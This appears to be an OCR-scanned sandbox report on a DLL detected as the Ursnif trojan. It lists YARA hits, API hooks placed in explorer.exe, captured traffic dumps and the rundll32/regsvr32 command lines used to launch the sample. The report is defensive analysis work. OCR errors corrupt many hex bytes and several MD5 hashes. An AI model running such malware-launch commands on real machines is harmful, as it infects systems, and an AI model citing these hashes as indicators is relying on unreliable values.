88 a4 71 31 54 a7 45 05 49 df 93 9d b9 8e 3d 7d a3 bl d6 11 8f d4 1a ba ac 90 f6 a3 b3 14 48 05 3e 37 dc 11 41 89 e7 la
333387 b8 d7 50 df 7d 88 be 06 0d 2a b4 b7 e0 0f 17 5e 24 60 Oe 91 bl a3 b8 a3 b1 23 7f 99 c4 56 40 10 48 14 10 4b 01
bf e2 2f 3b e2 3e f5 5d 90 c4 1d 22 a8 8c 62 7a 40 4a ba 9a ad 88 61 5f 7a 86 3f 4c ba 4a ac 69 77 a4 8a b2 ad b9 bc 5e
cc a9 48 e4 04 09 3b fc 8d 7 c4 9c 2e a4 2a c4 1d a2 ad b8 ac €9 56 75 b3 2b e8 6b 8d 8f 7a 93 51 d3 63 19 a6 8d c9 49
589d c1 1c df 18 ea 15 36 d3 28 d2 75 fd fa 23 73 e9 8a
Data Ascii: cs?> *v;(v7m+lk;3glpd0$SmE%q1TEI=}H>7A33PP S #V@HK/;>]"bz@Ja_z?LJiw H;.*Vu+kzQcIX6(u#s

2021-10-20 13:08:56 UTC 108 IN Data Raw: 5a €8 dd 1d 8e c4 e2 c8 da d4 b0 74 0a 36 53 4c 7e 63 7 86 45 92 32 c1 ca 8 03 7f 85 42 e3 b9 24 27 63 76
68 0a 6e 6f eb 9d c0 87 8a db c6 bc 2c e4 da 83 2b b3 €9 32 6¢ 46 a2 4d Oc 95 82 dO 28 e4 eb 53 b0 a0 76 18 b2 18 b4 40
85 e2 62 f2 a3 6e 80 3b 1a bb 3b d6 d5 91 Oe ab b1 06 29 66 64 13 25 ae a0 af 4b b0 da 80 bc 7e bf aa 74 d4 ce a0 88 ce
a0 43 5e fb 9d f6 c1 14 b3 €9 77 40 2b 42 81 dd 4e 4f 19 f9 c0 a3 b5 8e bb a6 94 7a ee 73 b6 83 a6 89 3a 88 d2 51 6d 1c
bb 59 52 6e 97 3a 67 2e b2 2a 38 b8 €9 c2 92 1c ac 7a 41 c6 68 64 2¢ 80 27 74 f7 40 e0 92 6a 80 e2 8e 4d 14 9d 9d 51 98
9e ce e3 2a 74 11 18 af 2c 1e ce 9e 44 75 7e aa 0d 05 6¢ 5f {7 6e ca 06 fc €9 19 d7 4b 4d a5 dd bd 9e af b4 64 8b 0d Oc 8f
91 b4 42 32 bd 93 74 cc 8¢ 5f 62 58 99 cc 75 59 d0 04
Data Ascii: Zt6SL~cE2B$'cvhno, +2IFM(Sv@bn;;)fd%K~tC w@+BNOzs:QmYRn:g.*8zAhd, t@jMQ*t,Du~l_nKMdB2t_bXuY

2021-10-20 13:08:56 UTC 109 IN Data Raw: b2 65 3d 47 fc c9 79 e2 b5 a8 b4 ae 9b 8b 57 3a b3 a5 12 32 9d 3a 67 54 ad 12 5a 50 93 4f ee c9 34 a3 47 al
9c 52 15 0f 64 eb 04 d9 d2 e4 62 €9 62 42 3e ba 20 95 68 c2 8f 46 44 c5 65 9f 52 d8 6e el 5e a4 14 1c d1 04 Oe b5 4f d3
18 1e b2 27 95 11 57 4b 0f ca 04 92 7e e6 eb 54 62 b4 11 08 66 10 9e ef 71 49 eb 02 92 7e 71 01 8e a7 a3 89 52 67 d4 8e
16 7e 9f a5 23 6d f7 b9 ba 9c 22 58 7f 2b 8d 6e a9 96 08 13 d9 f0 39 3f 22 ce d9 69 d3 c0 91 29 f3 08 al 6f df ec a8 a3 98
1532 3c d2 c6 f6 c0 39 01 59 d1 71 3a b0 d2 44 4a c4 19 fb 81 83 5d f6 92 67 51 d0 9d 41 el 94 c6 cb 60 79 16 1b de 3c
b0 6a ee cb 29 ef ea 26 f7 1b 6d 67 6c 3c 80 18 Oe €9 3e 47 06 c9 cd f3 bd 51 f2 23 38 3c 9f 4e 4f e0 4e 7f d4 99 e4 d3 7f
aa a0 00 72 bf 31 al 45 0d bb 57 09 fc Oe 69 63 d1
Data Ascii: e=GyW:2:gTZPO4GRdbbB> hFDeRn"O'WK~Tbfgl~gRg~#m"X+n97?"()02<9Yq:DJ]gQA y<j)&mgl<
>GQ#8<NONr1EWic

2021-10-20 13:08:56 UTC 111 IN Data Raw: db 69 07 40 2b b9 6f 1a ce 9e fb 28 d4 37 6a 18 ea 55 e7 6f 0d 4a Oe 74 cc c2 30 a8 85 ab 96 24 ee 7e 83 11
¢330 04 46 ea c7 4a bl 7f e0 8b 93 a0 46 10 ab 32 1e f7 c¢3 d3 ae 9f de 73 42 c9 22 73 b5 2b bl 76 04 1f 24 41 80 3c d4
7 e6 64 6d 64 7d 03 2e 77 e5 €9 d9 d4 56 e4 5 4f al 3e a0 Oc ef b6 93 21 fd 91 40 7a Of b5 d3 3d 37 Of d4 9d 3f 85 Ob c2
fO 75 dd 2c b2 90 9c 24 82 43 6a 33 aa 4e aa 03 27 52 cc 46 b5 9d bc 96 b2 0a f6 b2 3f 51 d2 fe 51 16 b8 c0 2c 4b 42 ae
01 20 86 3e 03 09 40 d1 c6 9b 03 4c 80 ec b7 e0 33 b2 73 fd a0 e9 99 27 Oc 28 69 24 3f 99 db 6d b0 4d 34 e0 89 63 54 d4
77 66 a0 c7 c5 f7 ce a9 27 99 9a 4b 94 05 89 35 1c 33 85 fe ea 23 a2 31 f2 67 39 d3 c0 8a 39 02 c9 fa 9d ce 17 f9 9d 80 f4
03 07 b8 61 1e 86 b0 fd 72 c6 47 a9 41 ad 49 be e2
Data Ascii: i@+0(7jU0Jt0$~0FJF2sB"s+v$A<dmd}.wVO>!@z=7?u,$Cj3N'RF?QQ,KB >@L3s'(i$?mM4cTwf'K53#1g99ar
GAI
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kBytes
Timestamp transferred

2021-10-20 13:08:56 UTC 112

2021-10-20 13:08:56 UTC 113

Session ID Source IP

9 192.168.2.5
kBytes

Timestamp transferred

2021-10-20 13:08:56 UTC 83

2021-10-20 13:08:56 UTC 86

2021-10-20 13:08:56 UTC 90

2021-10-20 13:08:56 UTC 93

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49833

Direction

ouT

Data

Data Raw: f6 e2 4c 51 42 a7 53 3c a2 11 13 f3f9 a0 c¢7 3a f9 67 ea 7d 9d ed 19 7d a7 d3 41 d9 b4 ad d6 7b 39 15 df a2 e9
3c 0b db 69 cf 6b ff 00 67 3d 8f d2 74 50 13 ff 00 14 96 28 a7 5e a7 ab 3a 22 05 a6 10 82 9c b6 75 6b ed ae 8f da 9e d1

e8 d6 2e 9e 72 24 6f c8 ba 51 38 1d 34 5a Oa ca ed e4 c4 5a e6 e5 45 fb c1 23 ab 9d 74 13 ca 93 b9 ce ea 0f ¢4 9d c9 fb
64 ca d2 84 8c 0f 16 3c 66 e6 2a 7d 3e 2f e3 €9 84 57 bb e7 78 2a 29 e5 41 f5 3a 7 fc 73 9e 9e 51 ff 00 d4 e7 {7 29 ef 9e
3e 9f ab ec ff 00 29 85 1c ac 73 76 47 52 76 8a 36 6d 27 71 9d 59 09 d2 8e 95 07 6¢ dd de 9e f5 76 23 fe dd ef a7 8c ea 64
91 65 69 55 de 56 66 12 39 b6 70 49 d9 89 dc 9c 9e 77 91 83 3b 4d 23 48 ce 40 a0 58 b1 36 46 12 d7 76 49 bb fb 16 €9
ed 09 63 1f 20 55 5b f4 15 02 c7 a2 32 47 32 1f 15

Data Ascii: LQBS<:g}}A{9<ikg=tP(":"uk.r$oQ84ZZE#td<f*}>/Wx*)A:sQ)>)svGRv6m'qYIv#deiUViplw;M#H@X6Fvic U[2G2

Data Raw: e0 77 3f 86 40 3b b6 03 20 a6 ad aa b9 d5 3 1c 9c 76 Oa ba 88 2c 1c d1 60 7e 22 6¢ 50 15 c1 ac 98 c6 a9 ab
b4 d9 bc fb c4 82 28 ff 00 Oc 70 37 50 5d 56 9a c5 5d b1 06 b3 65 bd 21 86 d4 36 e7 c¢7 11 58 0d 20 8b af 5d c9 cf cd 6¢
4e e6 ec Oe 3e 7f a7 fa 63 21 ae 41 db 03 Oc af 72 76 ad a0 9d b7 50 40 60 41 15 8f f9 41 90 c4 14 91 4c 18 81 44 d7 1b
d6 10 86 57 01 50 8e €5 8b b0 48 e3 e5 8a ec e4 80 cf 75 49 f1 92 bb 8a 1f d7 00 96 dc 1d 00 2a 82 be 5b 6d 4 c4 d8 80
1859 d8 10 77 b3 76 2f 05 f2 7f 4c 30 7b 8a fa 1c 24 7d Oe 03 7c 51 ac ff d9

Data Ascii: w?@; v, ~"IP(p7P]V]e!6X ]IN>c!ArvP@ AALDWPHuF[mYwv/LO{$}|Q

Destination IP Destination Port Process

151.101.1.44 443

Data

GET /taboola/image/fetch/f_jpg%2Cq_auto%2Ce_sharpen%2Ch_311%2Cw_207%2Cc_pad%2Ch_auto/http%
3A%2F%2Fcdn.taboola.com%2Flibtrc%2Fstatic%2Fthumbnails%2Faedbb0638c2ccabdeb958fc2d93204dc.jpg HTTP/1.1
Accept: image/png, image/svg+xml, image/jxr, image/*;q=0.8, */*;q=0.5

Referer: https://www.msn.com/de-ch/?ocid=iehp

Accept-Language: en-US

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko

Accept-Encoding: gzip, deflate

Host: img.img-taboola.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Connection: close

Content-Length: 5940

Server: nginx

Content-Type: image/jpeg

access-control-allow-headers: X-Requested-With

access-control-allow-origin: *

edge-cache-tag: 479804938326989479466645211257047552033,376453762558522630792330837908987580524,29¢ec
f9b93bbf306179626feedalfab70

etag: "83b82670ae366ff9ff6260e1c3bd76cd"

expiration: expiry-date="Sun, 17 Oct 2021 00:00:00 GMT", rule-id="delete fetch for taboola after 30 days"
last-modified: Thu, 16 Sep 2021 03:57:03 GMT

timing-allow-origin: *

x-ratelimit-limit: 101

x-ratelimit-remaining: 100

x-ratelimit-reset: 1

X-envoy-upstream-service-time: 66

X-backend-name: LA_DIR:3FP7YNX3LMizprTZsG7BSW--F_LA nlb201

Via: 1.1 varnish, 1.1 varnish

Cache-Control: public, max-age=31536000

Accept-Ranges: bytes

Date: Wed, 20 Oct 2021 13:08:56 GMT

Age: 1818790

X-Served-By: cache-wdc5542-WDC, cache-dcal7745-DCA, cache-mxp6956-MXP

X-Cache: HIT, MISS, HIT

X-Cache-Hits: 1, 0, 515

X-Timer: S1634735336.230813,VS0,VEQ

Vary: ImageFormat

X-debug: /taboola/image/fetch/f_jpg%2Cq_auto%2Ce_sharpen%2Ch_311%2Cw_207%2Cc_pad%2Ch_auto/http%3A%2F
%2Fcdn.taboola.com%2Flibtrc%2Fstatic%2Fthumbnails%2Faedbb0638c2ccabdeb958fc2d93204dc.jpg
X-vcl-time-ms: 0

Data Raw: ff d8 ff €0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 84 00 04 04 04 04 04 04 04 05 05 04 06 06
06 06 06 09 08 07 07 08 09 0d 0a Oa Oa 0a 0a 0d 14 0d Of 0d 0d Of 0d 14 12 16 12 11 12 16 12 20 19 17 17 19 20 25 1f 1e
1f 25 2d 29 29 2d 39 36 39 4b 4b 64 01 Oa 0a Oa 0a 0a 0a Ob Oc Oc Ob Of 10 Oe 10 Of 16 14 13 13 14 16 22 18 1a 18 1a 18
22 33 20 25 20 20 25 20 33 2d 37 2¢ 29 2¢ 37 2d 51 40 38 38 40 51 5e 4f 4a 4f 5e 71 65 65 71 8f 88 8f bb bb b ff c2 00 11
08 01 37 00 cf 03 01 11 00 02 11 01 03 11 01 ff c4 00 33 00 01 00 01 05 01 01 00 00 00 00 00 00 00 00 00 00 00 01 02 03
05 06 07 04 08 01 01 00 03 01 01 00 00 00 00 00 00 00 00 00 00 00 00 01 02 04 03 05 ff da 00 Oc 03 01 00 02 10 03 10
00 00 00 f8 fc 00 00 00 00 00 00 00 00 00 00 00 00 00

Data Ascii: JFIF %%-))-969KKd"™3 % % 3-7,),7-Q@88@Q"0J0"qeeq73

Data Raw: b4 0Ob 74 bb 51 74 c6 1e 06 8f a8 8c e4 93 7d 1d 58 b3 21 7f 65 0d 26 33 f5 e3 17 Oe 18 6¢ 63 05 60 96 45 67
1190 2f 18 ¢8 47 99 b9 5f 47 e0 f1 9d f1 15 9b b9 52 46 55 1a c3 05 d9 3b 51 8b 27 13 2b 95 16 90 4c 17 6e 2a 92 25 8d
6d b3 19 34 4e 24 63 4b 44 18 4e cf f4 ca 7e a0 98 4c 45 1c 10 c7 45 42 18 ec d1 44 8e a6 Oc 38 ca 3c 11 7d 20 ba 84 51
8b 39 69 a2 2c f1 3b 45 ea c7 17 3f 6d 82 65 10 4d 4c bb 1d ab 7e 56 16 79 89 fb 9c 49 61 a5 c8 db 4f 05 c2 8e 11 59 c3
bd 3d 88 6a 28 5 6¢ 08 69 bb 47 49 09 cf 24 ce 80 b3 76 c7 08 db cd e2 25 c4 Oc eb 58 d5 e6 84 73 7e 33 be 22 b3 77 2a
11 a4 36 99 44 3d 49 b3 46 c8 b3 48 1d 16 62 01 29 98 8b 6¢ al 5d c7 53 al d5 55 8b 85 8e 85 Oc 16 3c ¢5 97 b5 81 18
9c 04 fb 2c ac 59 5d 14 4a 9b 87 2c dc 34 57 eb 19 aa d9 63

Data Ascii: tQt}X!e&3lc’Eg/G_GRFU;Q'+Ln*%m4N$cKDN~LEEBD8<} Q9i,;E?meML~VylaOY=j(liGI$v¥%Xs~3"w*6D=IFH
b)[ISU<,Y]J,4Wc
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kBytes

Timestamp transferred Direction
2021-10-20 13:08:56 UTC 95 IN
2021-10-20 13:08:56 UTC 97 IN
2021-10-20 13:08:56 UTC 99 IN

Code Manipulations

User Modules

Hook Summary

Function Name

api-ms-win-core-processthreads-11-1-0.dll: CreateProcessW
api-ms-win-core-registry-11-1-0.dll:RegGetValueW
CreateProcessAsUserW

CreateProcessAsUserW

CreateProcessW

CreateProcessW

CreateProcessA

CreateProcessA

Processes

Statistics

Behavior

\;’ Click to jump to process

System Behavior

Data

Data Raw: 3c 34 b1 8a 62 7f 10 fb 52 35 75 e2 55 07 b3 58 38 b0 38 88 06 5a 3b c9 fe 99 ac 97 ce 9b 77 60 14 le f5 91 f3
Oc 7d eb Oa f1 5d 8e 59 52 6b 34 fe 54 ad 5c¢ 8f 82 da bd b2 5d 5a 6f 65 da 9b 17 8f 89 6¢ €0 f2 24 14 91 b1 00 74 5e 30

85 24 7f 92 a7 8e 2c 93 59 20 21 a8 dO 6 02 be 4e b1 09 d5 ea 5¢ f2 bf 07 07 d9 71 42 f9 91 15 06 db a7 b0 c9 e5 00 3a
d7 04 6c fd 68 9c 81 Oe e0 ca Oe 43 6a af 7d c6 33 Oe f8 58 dd dd 60 97 be 72 fd 3a 61 91 50 f1 44 e4 47 7c 68 7a 58 cf 25
8a fO b7 8f 1f 24 e6 94 01 1c b5 d7 67 5f f9 c5 5d ec dc 3 ff 00 78 8¢ dO b0 36 6a fb f1 8f aa Oc 88 c4 fd e0 14 7a d6 4f 22
4a el 92 eb 68 07 f8 fc 9d 70 2f ac 95 57 8f a4 6e 3d 3a Oc 86 25 8d d9 cf 3b 50 d1 fe 18 57 ce 96 15 e2 8b 33 1a f6 €3 00
55 el 46 3b 18 d4 57 52 4e 2b 27 5a 3c 8f

Data Ascii: <4bR5uUX88Z;w}]YRk4T\]Zoel$t"0$,Y IN\gB:IhCj}3X r:aPDG|hzX%$g_]x6jz0"Ihp/Wn=:%;PW3UF;WRN+'Z<

Data Raw: b8 8c d0 03 b8 7c 88 0f 71 20 54 7e f0 a8 fd el 51 7b c2 a2 {7 c5 45 ef 0a 8b de 15 1f bc 2b a3 b6 ed 24 6f 20
b1 96 73 el Oa 10 e0 ef 03 82 9f 38 15 6f 7a b0 38 4f 09 b7 24 ¢5 21 c0 24 al 3c c0 27 1f 22 a8 ef 27 14 8c 4f 98 30 3f d9
7a 66 fb 3 b7 89 71 7f ad 4c b7 02 57 8a 46 44 89 d6 77 08 ae 3b 5b 8b a8 el 81 57 fO dc 5b 42 66 fO a7 be 91 60 95 46
3b 3d 96 18 70 4f 2a 9a d9 52 e5 91 ae 1le 70 f1 b0 39 2a 84 b8 3b 79 60 1f 3d 5f 6a f7 f1 8e b6 e2 00 ab 05 ad bc 25 49
24 bc 4a 49 3f 77 89 cd 5f ea 46 08 52 e6 e0 5a bd 82 08 d6 49 0a 84 63 70 d1 e4 76 Oa fO ed 02 38 d7 49 59 Oa 70 8c cb
a4 80 1f d4 56 e7 38 ad 71 e2 53 92 24 bd b0 4e c8 f5 ad cd 74 aa 67 b7 b8 8c df 5b de 5d 58 24 38 38 2d 10 29 2e fc 7d
d7 ad 52 3b b4 95 99 e0 95 2d 1b a8 8c b7 61 16 4e

Data Ascii: |q T~Q{E+$0 s80z80$!$<""00?zfqLWFDw;[W[Bf F;=pO*Rp9*y'=_j%I$JI?w_FRZIcpv8lYpV8qSSNtg[]X$88-
).JR;-aN

Data Raw: 23 2f 46 ad 06 3f d4 93 c5 f4 cd f7 c7 6f 97 5f d4 6¢ e6 2e 23 ba b4 b0 96 68 5c al 2a c0 3a 82 Oe 0d 74 8e 15
8f cf 2e 97 72 b8 5c¢ fd 93 b0 d7 4a a5 bb ea bl 14 36 fa 3d el 8c c8 41 c1 9a 46 8f 82 8a d5 e2 95 62 Oe c1 f4 ab cd ea d1
b0 40 31 d5 f9 d4 55 cd 98 70 a3 6¢ f6 57 51 f1 c6 42 1c c6 06 4d 40 b0 fc cb 64 8b 24 c9 22 23 48 b3 cc ¢5 01 75 01 88
04 66 ac 97 cd 80 48 ff 00 c5 46 10 48 d2 5d 75 2a 58 ba 81 85 4d d8 el c4 e4 d5 ac 60 76 b7 c8 4a 72 ef 04 56 c9 73 b9
le 28 e43b 09 f6 a5 75 92 07 ea d5 e2 47 da e4 fd b6 20 70 5¢ 56 9f 65 Oc 3a a0 96 Oe b2 el 23 90 e2 34 8f 0a 92 10 6b
40 80 49 b4 22 4d 7f 6e ac 30 3d 6d e7 ae 8d 89 d3 60 de 9a 9d b9 60 be 7c f6 eb a3 d8 42 42 e6 fe 01 ff 00 b5 74 75 59
90 6 7e 71 b7 19 03 da f5 d1 af 24 32 8f 9c ed 7f

Data Ascii: #/F?0_l.#h\*:t.\J6=AFb@1UpIWQBM@d$"#HufHFH]u*XM vJrVs(;uG p\Ve:#4k@I|"Mn0=m""|BBtuY~q$2

Hook Type Active in Processes
IAT explorer.exe
IAT explorer.exe
EAT explorer.exe
INLINE explorer.exe
EAT explorer.exe
INLINE explorer.exe
EAT explorer.exe
INLINE explorer.exe

Analysis Process: loaddll32.exe PID: 2908 Parent PID: 5980

General

Start time:
Start date:
Copyright Joe Security LLC 2021

15:08:24
20/10/2021
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Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

C:\Windows\System32\loadd|I32.exe

true

loaddlI32.exe 'C:\Users\user\Desktop\gECym.dlI'
0x12e0000

893440 bytes
72FCD8FBOADC38ED9050569AD673650E
true

true

C, C++ or other language

e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000000.00000003.725551694.0000000003C38000.00000004.00000040.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000000.00000003.668792468.0000000003C38000.00000004.00000040.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000000.00000003.668983889.0000000003C38000.00000004.00000040.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000000.00000003.668839332.0000000003C38000.00000004.00000040.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source:
00000000.00000002.796706497.0000000000F30000.00000040.00000010.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source:
00000000.00000002.805512556.0000000010000000.00000040.00020000.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000000.00000003.726873336.0000000003A3C000.00000004.00000040.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000000.00000003.668597805.0000000003C38000.00000004.00000040.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000000.00000003.668893514.0000000003C38000.00000004.00000040.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000000.00000003.668698618.0000000003C38000.00000004.00000040.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source:
00000000.00000002.804704031.0000000003719000.00000004.00000040.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000000.00000003.668637384.0000000003C38000.00000004.00000040.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000000.00000003.668670422.0000000003C38000.00000004.00000040.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000000.00000003.719599695.0000000003C38000.00000004.00000040.sdmp, Author:
Joe Security

Reputation: moderate
File Activities Show Windows behavior
Analysis Process: cmd.exe PID: 5032 Parent PID: 2908

General

Start time: 15:08:25

Start date: 20/10/2021

Path: C:\Windows\SysWOW64\cmd.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Reputation:

true

cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\gECym.dll',#1
0x150000

232960 bytes

F3BDBE3BB6F734E357235F4D5898582D

true

true

C, C++ or other language

high

Copyright Joe Security LLC 2021
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Analysis Process: regsvr32.exe PID: 1368 Parent PID: 2908

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

15:08:25

20/10/2021
C:\Windows\SysWOW64\regsvr32.exe
true

regsvr32.exe /s C:\Users\user\Desktop\gECym.dl|
0x1070000

20992 bytes
426E7499F6A7346F0410DEAD0O805586B
true

true

C, C++ or other language

e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000003.00000003.760454651.0000000005528000.00000004.00000040.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000003.00000003.696203622.0000000005528000.00000004.00000040.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000003.00000003.696328482.0000000005528000.00000004.00000040.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000003.00000003.751457455.0000000005528000.00000004.00000040.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000003.00000003.696428988.0000000005528000.00000004.00000040.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000003.00000003.696293646.0000000005528000.00000004.00000040.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000003.00000003.762064879.000000000532C000.00000004.00000040.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000003.00000003.696353839.0000000005528000.00000004.00000040.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000003.00000003.696234648.0000000005528000.00000004.00000040.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000003.00000003.696265985.0000000005528000.00000004.00000040.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000003.00000003.696490210.0000000005528000.00000004.00000040.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000003.00000003.761914135.0000000005528000.00000004.00000040.sdmp, Author:

Joe Security
Reputation: high
Analysis Process: rundli32.exe PID: 4892 Parent PID: 5032
General
Start time: 15:08:25
Start date: 20/10/2021
Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

Copyright Joe Security LLC 2021

true

rundll32.exe 'C:\Users\user\Desktop\gECym.dll',#1
0xa20000

61952 bytes
D7CA562B0DB4F4ADDOF03A89A1FDAD63D

true

true

C, C++ or other language
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Yara matches: e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:

00000004.00000003.682552775.0000000005AC8000.00000004.00000040.sdmp, Author:

Joe Security

e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000004.00000003.682707764.0000000005AC8000.00000004.00000040.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000004.00000003.682497297.0000000005AC8000.00000004.00000040.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000004.00000003.682925882.0000000005AC8000.00000004.00000040.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000004.00000003.682449280.0000000005AC8000.00000004.00000040.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000004.00000003.737533634.0000000005AC8000.00000004.00000040.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000004.00000003.682640820.0000000005AC8000.00000004.00000040.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000004.00000003.682808858.0000000005AC8000.00000004.00000040.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000004.00000003.683000420.0000000005AC8000.00000004.00000040.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000004.00000003.731054718.0000000005AC8000.00000004.00000040.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000004.00000003.739495874.00000000058CC000.00000004.00000040.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000004.00000003.739276832.0000000005AC8000.00000004.00000040.sdmp, Author:

Joe Security
Reputation: high
Analysis Process: iexplore.exe PID: 2376 Parent PID: 2908
General
Start time: 15:08:26
Start date: 20/10/2021
Path: C:\Program Files\internet explorer\iexplore.exe

Wow64 process (32bit): false

Commandline: C:\Program Files\Internet Explorer\iexplore.exe

Imagebase: 0x7ff751890000

File size: 823560 bytes

MD5 hash: 6465CB92B25A7BC1DF8E01DBAC5E7596
Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high
Analysis Process: rundli32.exe PID: 4908 Parent PID: 2908
General
Start time: 15:08:26
Start date: 20/10/2021
Path: C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit): true
Commandline: rundll32.exe C:\Users\user\Desktop\gECym.dll,DIlUnregisterServer
Imagebase: 0xa20000
File size: 61952 bytes
MDS5 hash: D7CA562B0DB4F4DDOF03A89A1FDAD63D
Has elevated privileges: true
Has administrator privileges: true

Programmed in:

Copyright Joe Security LLC 2021
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Yara matches: e Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source:
00000006.00000002.509157681.0000000002A90000.00000040.00000010.sdmp, Author:
Joe Security

Reputation: high

Disassembly

Code Analysis

Copyright Joe Security LLC Joe Sandbox Cloud Basic 33.0.0 White Diamond
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